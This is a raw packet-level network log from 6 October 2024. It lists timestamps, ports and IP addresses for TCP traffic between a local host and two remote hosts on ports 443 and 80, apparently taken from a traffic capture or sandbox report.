Oct 6, 2024 22:33:08.285743952 CEST	49745	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:08.285752058 CEST	443	49745	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:08.285780907 CEST	49745	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:08.285809994 CEST	49745	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:08.287014961 CEST	443	49745	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:08.287060976 CEST	443	49745	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:08.287091970 CEST	49745	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:08.287098885 CEST	443	49745	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:08.287118912 CEST	49745	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:08.287146091 CEST	49745	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:08.288115025 CEST	443	49745	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:08.288146019 CEST	443	49745	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:08.288186073 CEST	49745	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:08.288193941 CEST	443	49745	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:08.288212061 CEST	49745	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:08.288244963 CEST	49745	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:08.288710117 CEST	443	49745	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:08.288772106 CEST	49745	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:08.288779020 CEST	443	49745	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:08.288794041 CEST	443	49745	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:08.288822889 CEST	49745	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:08.288855076 CEST	49745	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:08.288888931 CEST	49745	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:08.288904905 CEST	443	49745	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:08.288918972 CEST	49745	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:08.288924932 CEST	443	49745	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:08.341931105 CEST	49746	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:08.341952085 CEST	443	49746	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:08.343455076 CEST	49746	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:08.351912022 CEST	49747	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:08.351960897 CEST	443	49747	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:08.352034092 CEST	49747	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:08.352896929 CEST	49748	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:08.352943897 CEST	443	49748	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:08.353014946 CEST	49748	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:08.353241920 CEST	49749	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:08.353286028 CEST	443	49749	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:08.353441954 CEST	49749	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:08.353626013 CEST	49749	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:08.353641987 CEST	443	49749	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:08.353717089 CEST	49746	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:08.353738070 CEST	443	49746	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:08.353806973 CEST	49747	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:08.353826046 CEST	443	49747	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:08.353898048 CEST	49748	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:08.353914022 CEST	443	49748	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:08.354604959 CEST	49750	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:08.354615927 CEST	443	49750	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:08.354760885 CEST	49750	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:08.354912043 CEST	49750	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:08.354923964 CEST	443	49750	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:08.384277105 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.384396076 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.386457920 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.391288996 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.566991091 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.567151070 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.567217112 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.567337036 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.567482948 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.567502975 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.567538977 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.567588091 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.568202019 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.568264008 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.568360090 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.568403959 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.568964005 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.569025993 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.569092035 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.569158077 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.569678068 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.569730043 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.569813967 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.569869041 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.570395947 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.570451975 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.570453882 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.570682049 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.656333923 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.656384945 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.656424046 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.656450033 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.656455994 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.656506062 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.656511068 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.656548023 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.656553984 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.656584024 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.656598091 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.656621933 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.656630993 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.656662941 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.656675100 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.656711102 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.657413006 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.657473087 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.657476902 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.657582998 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.657789946 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.657841921 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.657874107 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.657911062 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.657922983 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.657995939 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.658031940 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.658047915 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.658701897 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.658750057 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.658776045 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.658792019 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.658833027 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.658921003 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.658967972 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.659673929 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.659719944 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.659730911 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.659748077 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.659785986 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.660074949 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.660123110 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.660672903 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.660701036 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.660723925 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.660739899 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.742603064 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.742680073 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.745033979 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.745099068 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.745137930 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.745178938 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.745213032 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.745230913 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.745275021 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.745312929 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.745415926 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.745450020 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.745471954 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.745493889 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.745506048 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.745547056 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.745562077 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.745604992 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.745929956 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.745985031 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.746000051 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.746020079 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.746089935 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.746290922 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.746346951 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.746382952 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.746398926 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.746402025 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.746498108 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.746531963 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.746551037 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.746579885 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.746970892 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.747025013 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.747025967 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.747061968 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.747075081 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.747124910 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.747157097 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.747205019 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.747210026 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.747245073 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.747258902 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.747292995 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.747814894 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.747867107 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.747869968 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.747905016 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.747912884 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.747956038 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.748048067 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.748081923 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.748121023 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.748127937 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.748162985 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.748641014 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.748693943 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.748720884 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.748733997 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.748733997 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.748779058 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.748853922 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.748884916 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.748908043 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.748919010 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.748928070 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.749104023 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.749517918 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.749572039 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.749572992 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.749609947 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.749624014 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.749654055 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.749722004 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.749757051 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.749785900 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.749790907 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.749804974 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.749840975 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.750361919 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.750415087 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.750446081 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.750479937 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.750495911 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.750586987 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.750597954 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.750631094 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.750668049 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.750682116 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.750711918 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.751266956 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.751302958 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.751346111 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.751363039 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.834592104 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.834656954 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.834687948 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.834733009 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.834738970 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.834774017 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.834800005 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.834800005 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.834800005 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.834809065 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.834815979 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.834861994 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.834876060 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.834908962 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.834928036 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.834943056 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.834958076 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.835005045 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.835067987 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.835103035 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.835124016 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.835154057 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.835196018 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.835225105 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.835261106 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.835268021 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.835294962 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.835304976 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.835349083 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.835381985 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.835436106 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.835449934 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.835505009 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.835556030 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.835557938 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.835592031 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.835604906 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.835625887 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.835659027 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.835673094 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.835833073 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.835889101 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.835922003 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.835937977 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.835954905 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.835964918 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.835988045 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.835994005 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.836020947 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.836034060 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.836066961 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.836112976 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.836147070 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.836159945 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.836179972 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.836193085 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.836215973 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.836226940 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.836252928 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.836263895 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.836302996 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.836618900 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.836651087 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.836671114 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.836683989 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.836683989 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.836715937 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.836725950 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.836750984 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.836764097 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.836786032 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.836796999 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.836819887 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.836831093 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.836853981 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.836869001 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.836888075 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.836899996 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.836920977 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.836932898 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.836956978 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.836965084 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.837002039 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.837129116 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.837162971 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.837177992 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.837205887 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.837306023 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.837337971 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.837357044 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.837371111 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.837376118 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.837405920 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.837419033 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.837440968 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.837452888 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.837485075 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.837615967 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.837646961 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.837680101 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.837712049 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.837744951 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.837776899 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.837805986 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.837810040 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.837847948 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.837934971 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.838042021 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.838074923 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.838097095 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.838131905 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.839759111 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.839792013 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.839828968 CEST	80	49741	141.98.233.156	192.168.2.4
